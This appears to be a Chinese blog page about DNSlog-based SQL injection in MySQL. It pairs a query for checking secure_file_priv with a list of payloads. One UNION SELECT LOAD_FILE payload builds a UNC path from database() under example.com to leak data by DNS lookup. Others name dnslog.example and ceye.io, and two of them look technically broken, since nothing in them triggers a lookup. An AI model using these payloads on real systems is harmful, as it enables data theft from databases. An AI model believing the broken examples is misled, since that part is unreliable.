dnslog注入load_file不能解析UNC

优化数据库安全:MySQL 5.0以上版本的secure_file_priv设置详解
本文介绍如何在MySQL 5.0及以上版本中检查并修改secure_file_priv变量,确保数据安全性,参考了eryoung2在博客园分享的设置方法。

对于数据库版本高于5.0-----------检查表information_schema.GLOBAL_VARIABLES

select * from information_schema.GLOBAL_VARIABLES where variable_name like '%secure%';

参考

 

下一步就是修改了

参考文章:mysql --secure_file_priv的设置 - eryoung2 - 博客园

### 关于DNSLOG注入的常用Payload 在SQL盲注场景下,DNSLog注入是一种常见的技术手段,它可以通过`load_file()`函数或其他方式触发DNS解析请求,并将目标数据发送至指定的DNSLog平台。以下是几种常用的DNSLog注入Payload示例: #### Payload 示例 1:基于 `load_file()` 通过调用MySQL中的`load_file()`函数加载远程文件路径的方式,可以构造如下Payload: ```sql ' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.example.com\\')) -- ``` 此语句的作用是尝试从当前数据库名称拼接成一个完整的UNC路径并触发DNS查询[^3]。 #### Payload 示例 2:基于字符串拼接 另一种常见方法是直接使用字符串拼接功能构建子域部分,从而向外部DNS服务器发起请求。例如,在支持字符串连接运算符的情况下可写为: ```sql ' AND (SELECT CASE WHEN (1=1) THEN CONCAT_WS('.',database(),'zone.dnslog.example') ELSE '' END) INTO OUTFILE '/tmp/test.txt' ``` #### Payload 示例 3:动态执行命令 如果环境允许执行存储过程或者动态SQL,则还可以进一步扩展复杂度较高的攻击载荷。下面是一个简单的例子展示如何创建临时表并通过其内容生成自定义域名请求: ```sql CREATE TEMPORARY TABLE temp_dns(id INT, data VARCHAR(255)); INSERT INTO temp_dns VALUES(1,(SELECT user())); SELECT CONCAT((SELECT data FROM temp_dns WHERE id=1),'.subdomain.ceye.io.') AS result; DROP TABLE IF EXISTS temp_dns; ``` 以上每种形式都依赖具体的应用程序逻辑以及后台所使用的DBMS特性而有所不同;实际应用过程中需根据实际情况调整语法结构以适配不同类型的漏洞特征[^4]。 ### 注意事项 - 使用上述任何一种payload之前,请确保已获得合法授权来进行此类测试活动。 - 测试完成后应及时清理产生的中间状态(如临时表格),以免影响正常业务运行。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值